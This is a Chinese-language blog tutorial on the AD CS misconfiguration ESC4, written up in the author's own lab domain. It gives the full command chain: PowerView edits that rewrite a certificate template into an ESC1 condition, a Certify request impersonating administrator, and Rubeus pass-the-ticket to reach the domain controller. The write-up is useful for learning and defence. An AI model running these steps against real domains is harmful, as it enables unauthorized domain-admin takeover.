T0ngMystic`s Blog

"Security studying, Strive to be Security Re-Searcher. Love everything that I want to do"

AD域-ADCS错误配置-ESC4

image

2023-10-25 / 共计1693 字


内心不种满鲜花就会长满杂草

If the heart is not filled with flowers, it will be overrun by weeds.

ADCS-ESC配置错误文章目录:

  1. ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
  2. ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
  3. ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
  4. ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
  5. ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
  6. ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
  7. ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/

经过学习 AD域-ADCS错误配置-ESC1AD域-ADCS错误配置-ESC3后得知,ESC1是通过在申请证书时伪造证书申请用户身份来获取域管权限,而ESC3获取域管权限则是通过证书代理申请,通过普通用户代理域管注册,从而获取域管权限。

ESC4证书模板简单总结可以为”允许了无特权的用户拥有模板的改写权限“。因此无特权用户可以通过对错误配置的ESC4证书模板进行重新编写,使其符合其它错误模板的利用条件,从而达到域提权的作用。

ESC4利用条件:

低权限用户拥有证书模板的Write权限。

环境

复制工作站身份验证模板进行创建符合ESC4利用条件的模板证书: image.png

证书模板命名为ESC4(可随意命名): image.png

给Domain Users添加写入权限(满足ESC4利用条件): image.png

添加上CA证书管理程序批准和授权签名(方便后续演示): image.png

通过certsrv发布新建的ESC4证书模板: image-AD域-ADCS错误配置-ESC4-20230928095053525

启用ESC4证书模板: image-AD域-ADCS错误配置-ESC4-20230928095105974

改写证书模板

在改写证书模版时会用到PowerView.ps1,可自行下载。

首先使用工具Certify.exe查询ESC4证书模板是否符合利用条件:

Certify.exe find /vulnerable

image.png

终端中导入模块PowerView.ps1,利用PowerView.ps1并给Domain Users添加注册权限:

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=t0ngmystictestad,DC=com" -Verbose

image.png

重新查看ESC4证书模板中Domain Users新加了注册权限: image.png

利用PowerView.ps1禁用管理程序批准:

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=t0ngmystictestad,DC=com" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose

image.png 重新获取ESC4证书模板相关信息,发现mspi-enrollment-flag标志位中的PEND_ALL_REQUESTS(该标志指示CA将所有请求置于待处理状态)消失了,只保留AUTO_ENROLLMENT(此标志指示客户端执行指定模板的自动注册):mspi-enrollment-flag标志位<–官方解释文档 image.png 在ADCS证书服务器上查看CA证书管理程序批准取消了勾选: image.png

利用PowerView.ps1禁用授权签名要求:

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=t0ngmystictestad,DC=com" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

image.png 查看证书模板发Authorized Signatures Required 标志位由1修改成了0: image.png 在ADCS证书服务器上查看ESC4证书授权签名的数量取消了勾选: image.png

利用PowerView.ps1启用在请求中提供使用者名称CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,从而制造ESC1的利用条件(可通过 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 声明自己的身份,从而伪造成域管理员):

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=t0ngmystictestad,DC=com" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose

image.png 查看ESC4证书模板msPKI-Certificate-Name-Flag标志位多了ENROLLEE-SUPPLIES-SUBJECT(可声明身份): image.png

由于创建ESC4证书模版时是通过复制证书模版“工作站身份验证”,应用策略本来就为“客户端身份验证”,为了演示修改应用策略的功能,通过ADCS证书服务器查看ESC4证书模板应用程序策略描述更改为无image.png 可以查看mspki-certificate-application-policy为<null>:

image.png 修改mspki-certificate-application-policy标志位为客户端身份验证(1.3.6.1.5.5.7.3.2): image.png

成功修改证书模版mspki-certificate-application-policy标志位为客户端身份验证: image.png

在ADCS服务器上查看也同样被修改为客户端身份验证: image.png

到此ESC4证书模板已符合ESC1利用条件,直接使用ESC1利用方法即可利用。

模板利用

现在ESC4证书模版已经符合ESC1的利用条件了,直接使用ESC1利用方式即可,伪造Administrator身份申请ESC4证书模版:

Certify.exe request /ca:DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA /template:ESC4 /altname:administrator

image.png

将申请到的pem格式证书修改为pfx格式:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

image.png 通过申请的administrator证书请求tgt并导入内存,即可访问域控服务器:

dir \\dc1.t0ngmystictestad.com\c$

rubeus.exe asktgt /user:administrator /certificate:C:\Users\user1\Desktop\Certify-main\Certify\bin\Debug\cert.pfx /dc:192.168.111.11 /ptt

image.png 成功访问域控服务器: image.png

文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!


如果文章对您有帮助

部分文章会发布公众号!

感谢您的支持!